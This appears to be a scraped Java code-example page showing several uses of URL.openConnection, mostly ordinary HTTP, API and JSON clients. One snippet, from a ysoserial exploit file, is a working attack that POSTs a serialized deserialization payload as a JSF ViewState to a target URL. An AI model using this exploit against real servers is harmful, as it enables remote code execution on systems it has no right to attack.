Example usage for java.net URL openConnection

Introduction

In this page you can find the example usage for java.net URL openConnection.

Prototype

public URLConnection openConnection() throws java.io.IOException 

Source Link

Document

Returns a java.net.URLConnection URLConnection instance that represents a connection to the remote object referred to by the URL .

Usage

From source file:MainClass.java

public static void main(String[] args) {
    URL u;
    URLConnection uc;/*from ww w .j  av  a 2s .co  m*/
    try {
        u = new URL("http://www.java2s.com");
        try {
            uc = u.openConnection();
            if (uc.getUseCaches()) {
                uc.setUseCaches(false);
            }
        } catch (IOException e) {
            System.err.println(e);
        }
    } catch (MalformedURLException e) {
        System.err.println(e);
    }

}

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From source file:MainClass.java

public static void main(String args[]) {

    URL u;
    URLConnection uc;/*from w  w w  .j a v  a 2 s.  co m*/

    try {
        u = new URL("http://www.java2s.com/");
        try {
            uc = u.openConnection();
            System.out.println(uc.getURL());
        } catch (IOException e) {
            System.err.println(e);
        }
    } catch (MalformedURLException e) {
        System.err.println(e);
    }

}

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From source file:MainClass.java

public static void main(String args[]) {
    URL u;
    URLConnection uc;/*from www  .j  a  va  2  s . c  o  m*/
    String header;

    try {
        u = new URL("http://www.java2s.com");
        uc = u.openConnection();
        for (int j = 1;; j++) {
            header = uc.getHeaderField(j);
            if (header == null)
                break;
            System.out.println(uc.getHeaderFieldKey(j) + " " + header);
        }
    } catch (MalformedURLException e) {
        System.err.println("not a URL I understand.");
    } catch (IOException e) {
        System.err.println(e);
    }
}

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From source file:Reverse.java

public static void main(String[] args) throws Exception {

    if (args.length != 1) {
        System.err.println("Usage:  java Reverse " + "string_to_reverse");
        System.exit(1);//from  ww w  .j a  v a  2s.  co  m
    }

    String stringToReverse = URLEncoder.encode(args[0]);

    URL url = new URL("http://java.sun.com/cgi-bin/backwards");
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);

    PrintWriter out = new PrintWriter(connection.getOutputStream());
    out.println("string=" + stringToReverse);
    out.close();

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String inputLine;

    while ((inputLine = in.readLine()) != null)
        System.out.println(inputLine);

    in.close();
}

---

From source file:com.tbs.devcorner.simple.App.java

public static void main(String[] args) {
    try {//from w w w .  ja  va 2  s.  c o m
        // Build Connection
        URL api_url = new URL("http://www.earthquakescanada.nrcan.gc.ca/api/earthquakes/");
        URLConnection api = api_url.openConnection();

        // Set HTTP Headers
        api.setRequestProperty("Accept", "application/json");
        api.setRequestProperty("Accept-Language", "en");

        // Get Response
        JSONTokener tokener = new JSONTokener(api.getInputStream());
        JSONObject jsondata = new JSONObject(tokener);

        // Display API name
        System.out.println(jsondata.getJSONObject("metadata").getJSONObject("request").getJSONObject("name")
                .get("en").toString());

        // Iterate over latest links
        JSONObject latest = jsondata.getJSONObject("latest");
        for (Object item : latest.keySet()) {
            System.out.println(item.toString() + " -> " + latest.get(item.toString()));
        }

    } catch (MalformedURLException e) {
        System.out.println("Malformed URL");
    } catch (IOException e) {
        System.out.println("IO Error");
    }
}

---

From source file:com.tbs.devcorner.simple.App.java

public static void main(String[] args) {
    try {/*from  ww w. j  av  a 2  s  .com*/
        // Crer la connexion
        URL api_url = new URL("http://www.earthquakescanada.nrcan.gc.ca/api/earthquakes/");
        URLConnection api = api_url.openConnection();

        // Dfinir les en-ttes HTTP
        api.setRequestProperty("Accept", "application/json");
        api.setRequestProperty("Accept-Language", "fr");

        // Obtenir la rponse
        JSONTokener tokener = new JSONTokener(api.getInputStream());
        JSONObject jsondata = new JSONObject(tokener);

        // Afficher le nom de lAPI
        System.out.println(jsondata.getJSONObject("metadata").getJSONObject("request").getJSONObject("name")
                .get("fr").toString());

        // Rpter lopration sur les liens les plus rcents
        JSONObject latest = jsondata.getJSONObject("latest");
        for (Object item : latest.keySet()) {
            System.out.println(item.toString() + " -> " + latest.get(item.toString()));
        }

    } catch (MalformedURLException e) {
        System.out.println("URL mal forme");
    } catch (IOException e) {
        System.out.println("Erreur dE/S");
    }
}

---

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);//from  w ww .  ja va2 s . c  o  m
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

---

From source file:com.cloudera.earthquake.GetData.java

public static void main(String[] args) throws IOException {
    URL url = new URL("http://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/all_month.csv");
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.connect();// ww  w .  j a  va 2 s.c o  m
    InputStream connStream = conn.getInputStream();

    FileSystem hdfs = FileSystem.get(new Configuration());
    FSDataOutputStream outStream = hdfs.create(new Path(args[0], "month.txt"));
    IOUtils.copy(connStream, outStream);

    outStream.close();
    connStream.close();
    conn.disconnect();
}

---

From source file:org.wso2.charon3.samples.group.sample01.CreateGroupSample.java

public static void main(String[] args) {
    try {/*  w w  w  .ja  v a2s  . c o m*/
        String url = "http://localhost:8080/scim/v2/Groups";
        URL obj = new URL(url);
        HttpURLConnection con = (HttpURLConnection) obj.openConnection();

        // Setting basic post request
        con.setRequestMethod("POST");
        con.setRequestProperty("Content-Type", "application/scim+json");

        // Send post request
        con.setDoOutput(true);
        DataOutputStream wr = new DataOutputStream(con.getOutputStream());
        wr.writeBytes(createRequestBody);
        wr.flush();
        wr.close();

        int responseCode = con.getResponseCode();

        BufferedReader in;
        if (responseCode == HttpURLConnection.HTTP_CREATED) { // success
            in = new BufferedReader(new InputStreamReader(con.getInputStream()));
        } else {
            in = new BufferedReader(new InputStreamReader(con.getErrorStream()));
        }
        String inputLine;
        StringBuffer response = new StringBuffer();

        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        in.close();

        //printing result from response
        System.out.println("Response Code : " + responseCode);
        System.out.println("Response Message : " + con.getResponseMessage());
        System.out.println("Response Content : " + response.toString());

    } catch (ProtocolException e) {
        e.printStackTrace();
    } catch (MalformedURLException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

---

From source file:com.util.finalProy.java

/**
 * @param args the command line arguments
 *///from   ww  w. j  av a 2  s .c  om
public static void main(String[] args) throws JSONException {
    // TODO code application logic her
    System.out.println("OBTENER SOLO UN ARRAY DE CADENA JSON");
    String myURL = "http://192.168.5.44/app_dev.php/cus/getaccount/50241109321.json";
    System.out.println("Requested URL:" + myURL);
    StringBuilder sb = new StringBuilder();
    URLConnection urlConn = null;
    InputStreamReader in = null;
    try {
        URL url = new URL(myURL);
        urlConn = url.openConnection();
        if (urlConn != null) {
            urlConn.setReadTimeout(60 * 1000);
        }
        if (urlConn != null && urlConn.getInputStream() != null) {
            in = new InputStreamReader(urlConn.getInputStream(), Charset.defaultCharset());

            BufferedReader bufferedReader = new BufferedReader(in);
            if (bufferedReader != null) {
                int cp;
                while ((cp = bufferedReader.read()) != -1) {
                    sb.append((char) cp);
                }
                bufferedReader.close();
            }
        }
        in.close();
    } catch (Exception e) {
        e.printStackTrace();
        throw new RuntimeException("Exception while calling URL:" + myURL, e);
    }
    String jsonResult = sb.toString();
    System.out.println(sb.toString());
    System.out.println(
            "\n\n--------------------OBTENEMOS OBJETO JSON NATIVO DE LA PAGINA, USAMOS EL ARRAY DATA---------------------------\n\n");
    JSONObject objJason = new JSONObject(jsonResult);
    JSONArray dataJson = new JSONArray();
    dataJson = objJason.getJSONArray("data");

    System.out.println("objeto normal 1 " + dataJson.toString());
    //
    //
    System.out.println(
            "\n\n--------------------CREAMOS UN STRING JSON2 REEMPLAZANDO LOS CORCHETES QUE DAN ERROR---------------------------\n\n");
    String jsonString2 = dataJson.toString();
    String temp = dataJson.toString();
    temp = jsonString2.replace("[", "");
    jsonString2 = temp.replace("]", "");
    System.out.println("new json string" + jsonString2);

    JSONObject objJson2 = new JSONObject(jsonString2);
    System.out.println("el objeto simple json es " + objJson2.toString());

    System.out.println(
            "\n\n--------------------CREAMOS UN OBJETO JSON CON EL ARRAR ACCOUN---------------------------\n\n");

    String account1 = objJson2.optString("account");
    System.out.println(account1);
    JSONObject objJson3 = new JSONObject(account1);
    System.out.println("el ULTIMO OBJETO SIMPLE ES  " + objJson3.toString());
    System.out.println(
            "\n\n--------------------EMPEZAMOS A RECIBIR LOS PARAMETROS QUE HAY EN EL OBJETO JSON---------------------------\n\n");
    String firstName = objJson3.getString("first_name");
    System.out.println(firstName);
    System.out.println(objJson3.get("id"));
    System.out.println(
            "\n\n--------------------TRATAMOS DE PASAR TODO EL ACCOUNT A OBJETO JAVA---------------------------\n\n");
    Gson gson = new Gson();
    Account account = gson.fromJson(objJson3.toString(), Account.class);
    System.out.println(account.getFirst_name());
    System.out.println(account.getCreation());
}

---

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